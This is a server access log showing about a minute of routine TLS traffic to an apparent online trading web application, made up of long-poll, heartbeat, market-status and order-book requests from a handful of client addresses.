[09/Jan/2026:09:29:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922453516 HTTP/1.1" -
[09/Jan/2026:09:29:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922468235 HTTP/1.1" -
[09/Jan/2026:09:29:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:29:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:29:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1157
[09/Jan/2026:09:29:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922456986 HTTP/1.1" -
[09/Jan/2026:09:29:48 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922457052 HTTP/1.1" -
[09/Jan/2026:09:29:49 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922458289 HTTP/1.1" -
[09/Jan/2026:09:29:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922458530 HTTP/1.1" -
[09/Jan/2026:09:29:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922462127 HTTP/1.1" -
[09/Jan/2026:09:29:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922474237 HTTP/1.1" -
[09/Jan/2026:09:29:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:29:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:29:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922463543 HTTP/1.1" -
[09/Jan/2026:09:29:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:29:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:29:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:29:54 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922463046 HTTP/1.1" -
[09/Jan/2026:09:29:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:29:55 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922464294 HTTP/1.1" -
[09/Jan/2026:09:29:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922467263 HTTP/1.1" -
[09/Jan/2026:09:29:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922480227 HTTP/1.1" -
[09/Jan/2026:09:29:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922468559 HTTP/1.1" -
[09/Jan/2026:09:30:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922472320 HTTP/1.1" -
[09/Jan/2026:09:30:00 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922469055 HTTP/1.1" -
[09/Jan/2026:09:30:01 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922470303 HTTP/1.1" -
[09/Jan/2026:09:30:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922486227 HTTP/1.1" -
[09/Jan/2026:09:30:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922473598 HTTP/1.1" -
[09/Jan/2026:09:30:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922477363 HTTP/1.1" -
[09/Jan/2026:09:30:06 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922475054 HTTP/1.1" -
[09/Jan/2026:09:30:07 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922476290 HTTP/1.1" -
[09/Jan/2026:09:30:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922492239 HTTP/1.1" -
[09/Jan/2026:09:30:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922478637 HTTP/1.1" -
[09/Jan/2026:09:30:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922482512 HTTP/1.1" -
[09/Jan/2026:09:30:12 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922481046 HTTP/1.1" -
[09/Jan/2026:09:30:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:30:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:30:13 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922482296 HTTP/1.1" -
[09/Jan/2026:09:30:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922483663 HTTP/1.1" -
[09/Jan/2026:09:30:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922498231 HTTP/1.1" -
[09/Jan/2026:09:30:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922487646 HTTP/1.1" -
[09/Jan/2026:09:30:18 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922487055 HTTP/1.1" -
[09/Jan/2026:09:30:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922488290 HTTP/1.1" -
[09/Jan/2026:09:30:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922488691 HTTP/1.1" -
[09/Jan/2026:09:30:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922504233 HTTP/1.1" -
[09/Jan/2026:09:30:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:30:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:30:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922492804 HTTP/1.1" -
[09/Jan/2026:09:30:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:30:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:30:24 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922493058 HTTP/1.1" -
[09/Jan/2026:09:30:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:30:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922493750 HTTP/1.1" -
[09/Jan/2026:09:30:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:30:25 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922494297 HTTP/1.1" -
[09/Jan/2026:09:30:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922498029 HTTP/1.1" -
[09/Jan/2026:09:30:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922510225 HTTP/1.1" -
[09/Jan/2026:09:30:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922498781 HTTP/1.1" -
[09/Jan/2026:09:30:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:30:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:30:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:30:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:30:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922499734 HTTP/1.1" -
[09/Jan/2026:09:30:31 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922500294 HTTP/1.1" -
[09/Jan/2026:09:30:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922503089 HTTP/1.1" -
[09/Jan/2026:09:30:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922516226 HTTP/1.1" -
[09/Jan/2026:09:30:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922503832 HTTP/1.1" -
[09/Jan/2026:09:30:36 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922505060 HTTP/1.1" -
[09/Jan/2026:09:30:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922508224 HTTP/1.1" -
[09/Jan/2026:09:30:37 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922506289 HTTP/1.1" -
[09/Jan/2026:09:30:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922522227 HTTP/1.1" -
[09/Jan/2026:09:30:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:30:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:30:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:30:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:30:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:30:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:30:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:30:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:30:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922508869 HTTP/1.1" -
[09/Jan/2026:09:30:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922513361 HTTP/1.1" -
[09/Jan/2026:09:30:42 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922511055 HTTP/1.1" -
[09/Jan/2026:09:30:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:30:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:30:43 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922512293 HTTP/1.1" -
[09/Jan/2026:09:30:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922528236 HTTP/1.1" -
[09/Jan/2026:09:30:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922513903 HTTP/1.1" -
[09/Jan/2026:09:30:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922518632 HTTP/1.1" -
[09/Jan/2026:09:30:48 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922517047 HTTP/1.1" -
[09/Jan/2026:09:30:49 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922518301 HTTP/1.1" -
